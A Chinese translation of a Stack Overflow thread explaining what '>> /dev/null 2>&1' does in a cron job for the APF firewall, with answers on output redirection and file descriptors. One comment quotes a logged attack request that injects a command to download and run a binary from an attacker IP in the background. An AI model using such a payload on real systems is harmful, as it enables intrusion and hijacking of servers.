/dev/null 2>&1是什么?

413

我在 /etc/cron.daily/apf 找到了这段代码。

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

它正在清除并重新加载防火墙。
我不明白>> /dev/null 2>&1是什么意思。

这个cron(定时任务)的目的是什么?它正在覆盖我的防火墙规则。我可以安全地删除这个cron吗?


3
FYI:缩短关闭进程的方法是 >&- 2>&- - Zaz
40
@Josh:为什么要让事情变得比它们本来就更加神秘莫测? - endolith
4
@Josh 这将关闭相应的文件描述符,可能会导致程序异常终止。 - glglgl
2
2>&1 > /dev/null> /dev/null 2>&1 是一样的吗?对我来说,后者更自然... - edelans
11
@edelans 不行。这种方式将标准错误重定向到标准输出,但是只有原始的标准输出被重定向到 /dev/null,标准错误仍然会输出。请尝试此工具:https://gist.github.com/zigg/344361751c0110419b0f - zigg
2
>> /dev/null 2>&1 可以写成 &> /dev/null。参见:What does &> do in bash? - codeforester
10个回答

539

>> /dev/null会将标准输出(stdout)重定向到/dev/null,该设备会将其丢弃。

(>>似乎有些多余了,因为>>表示追加,而>表示截断并写入,无论是追加还是写入/dev/null都具有相同的净效果。出于这个原因,我通常只使用>。)

2>&1会将标准错误(2)重定向到标准输出(1),由于标准输出已经被重定向,因此也会将其丢弃。


26
&符号在2>&1中表示将标准错误输出重定向到与标准输出相同的位置。 - Nobody
37
& 表示文件描述符。通常有三个文件描述符 - 标准输入、输出和错误。 - Testing123
2
@Nobody,请查看我在 https://dev59.com/Mmkv5IYBdhLWcg3wkBka#42919998?noredirect=1#answer-42919998 中针对你的问题所给出的答案。 - Vishrant
15
如果&表示文件描述符,那么为什么2前面没有&符号? - user6708151
6
如果其他人没有阅读下面解释文件描述符的答案:当重定向数据流时,& 表示其后面跟随的是一个文件描述符而不是文件名。请注意,我的翻译尽可能保持原意和简洁性。 - Elysiumplain
显示剩余2条评论

468

让我们将>> /dev/null 2>&1语句分解为几个部分:


第一部分:>>输出重定向

这用于重定向程序输出并将输出附加到文件末尾。更多...


第二部分: /dev/null 特殊文件

这是一个伪设备特殊文件

命令ls -l /dev/null将为您提供有关此文件的详细信息:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

你有没有注意到crw?这意味着它是一个字符特殊文件类型的伪设备文件,提供串行访问。

/dev/null接受和丢弃所有输入;不产生任何输出(在读取时始终返回文件结束指示)。参考:维基百科


第三部分: 2>&1 (将流2的输出与流1合并)

每当您执行程序时,操作系统总是打开三个文件:标准输入,标准输出和标准错误。我们知道,每当打开一个文件时,操作系统(来自内核)返回一个非负整数,称为文件描述符。这些文件的文件描述符分别为0、1和2。

因此,2>&1简单地将标准错误重定向到标准输出。

&表示其后跟随的是一个文件描述符,而不是文件名。

简而言之,使用此命令告诉您的程序在执行时不要大声喊叫。

使用2>&1的重要性是什么?

如果您不想产生任何输出,即使终端上产生了一些错误。为了更清楚地解释,让我们考虑以下示例:

$ ls -l > /dev/null

对于上述命令,在终端中没有输出,但是如果该命令产生错误会怎样:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

尽管我将输出重定向到/dev/null,但它仍然会在终端中打印出来。这是因为我们没有将错误输出重定向到/dev/null,因此为了同时重定向错误输出,需要添加2>&1
$ ls -l file_doesnot_exists > /dev/null 2>&1

10
好的例子!之前不知道 ' >' 不会重定向 'STDERR'。 - miao.wang
1
讲解得很好!非常有启发性。谢谢。这将帮助我理解最近遇到的网络攻击。攻击者通过包含上述代码片段的POST请求注入了一些恶意代码。 - Sohel Pathan
@SohelPathan 哦,那很有趣,请你能分享更多关于此事的细节吗?他们是如何做到的?你是如何意识到它被黑了的?你又是如何保护它的? - Vishrant
1
@Vishrant 注入的代码类似于:POST /user/password?name[%23post_render][]=system&name[%23markup]=cd+/tmp;wget+-O+xm111+http://xxx.xxx.xxx.xxx/xm111;chmod+777+xm111;wget+-O+config.json+http://xxx.xxx.xxx.xxx/m.json;chmod+777+config.json;./xm111 > /dev/null 2>&1 & HTTP/1.1。其中,xxx.xxx.xxx.xxx 是攻击者的 IP 地址,并且在许多网站上也被列为滥用行为。首要的预防措施是在防火墙中阻止该 IP 地址以及此类 IP 地址的模式。攻击旨在在主页加载时重定向到第三方网站。Apache 服务器日志显示了可疑的 IP 地址和请求。 - Sohel Pathan
29
我在想为什么我们在数字2前面没有使用“&”符号。能否有人解答我的疑惑? - Snehasish Karmakar
11
@SnehasishKarmakar问了一个合理的问题。我相信操作系统足够聪明,能够理解第一个参数将是文件描述符,但>是一个重定向运算符,重定向运算符后面期望的是一个文件位置,在1前面添加&表示这不是应用程序必须重定向输出的文件,而是一个文件描述符。如果有人能补充更多关于这个评论的细节,我会很感激。 - Vishrant

88

这是一种以静默方式执行程序并隐藏其所有输出的方法。

/dev/null 是一个特殊的文件系统对象,可以将写入其中的所有内容都丢弃。将流重定向到其中意味着隐藏了程序的输出。

2>&1 部分表示“将错误流重定向到输出流中”,因此当您重定向输出流时,错误流也会被重定向。即使您的程序现在写入 stderr,该输出也会被丢弃。


50
实际上,“2>&1”将“stderr”重定向到“stdout”。这与您所声称的区别最好通过交换重定向的顺序来说明,例如,“2>&1 >/dev/null”。 - zigg

41

让我逐步解释一下。

0,1,2

0: standard input
1: standard output
2: standard error

>>

>>command >> /dev/null 2>&1中将命令输出附加到/dev/null

command >> /dev/null 2>&1

  1. 执行command命令后:
command
=> 1 output on the terminal screen
=> 2 output on the terminal screen
  1. 重定向后:
command >> /dev/null
=> 1 output to /dev/null
=> 2 output on the terminal screen
  1. /dev/null 2>&1之后
command >> /dev/null 2>&1
=> 1 output to /dev/null
=> 2 output is redirected to 1 which is now to /dev/null

25

/dev/null 是一个标准文件,它丢弃所有写入它的内容,但会报告写操作成功。

1 是标准输出,2 是标准错误。

2>&1 将标准错误重定向到标准输出。 &1 表示文件描述符(标准输出),否则(如果只使用 1)将会将标准错误重定向到名为 1 的文件中。 [任何命令] >>/dev/null 2>&1 将所有标准错误重定向到标准输出,并将所有内容写入 /dev/null 文件中。


9
我使用>> /dev/null 2>&1来进行无声的cronjob。cronjob可以完成工作,但不会将报告发送到我的电子邮件。
据我所知,不要删除/dev/null。它很有用,特别是当你运行cPanel时,它可以用于丢弃cronjob报告。

2

如其他人所述,将内容写入 /dev/null 可以消除程序的输出。通常情况下,cron 会为使用 cronjob 启动的进程的每个输出发送一封电子邮件。因此,通过将输出写入 /dev/null,您可以防止在 cron 中指定了您的地址时被垃圾邮件轰炸。


0

我通常会在与日志文件相关的命令中使用该命令...其目的是捕获任何错误并在同时运行脚本的多个服务器上评估/解决问题。

sh -vxe cmd > cmd.logfile 2>&1

0

-3

编辑/etc/conf.apf文件。将DEVEL_MODE="0"设置为DEVEL_MODE="1"会添加一个cron任务,在5分钟后停止apf。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接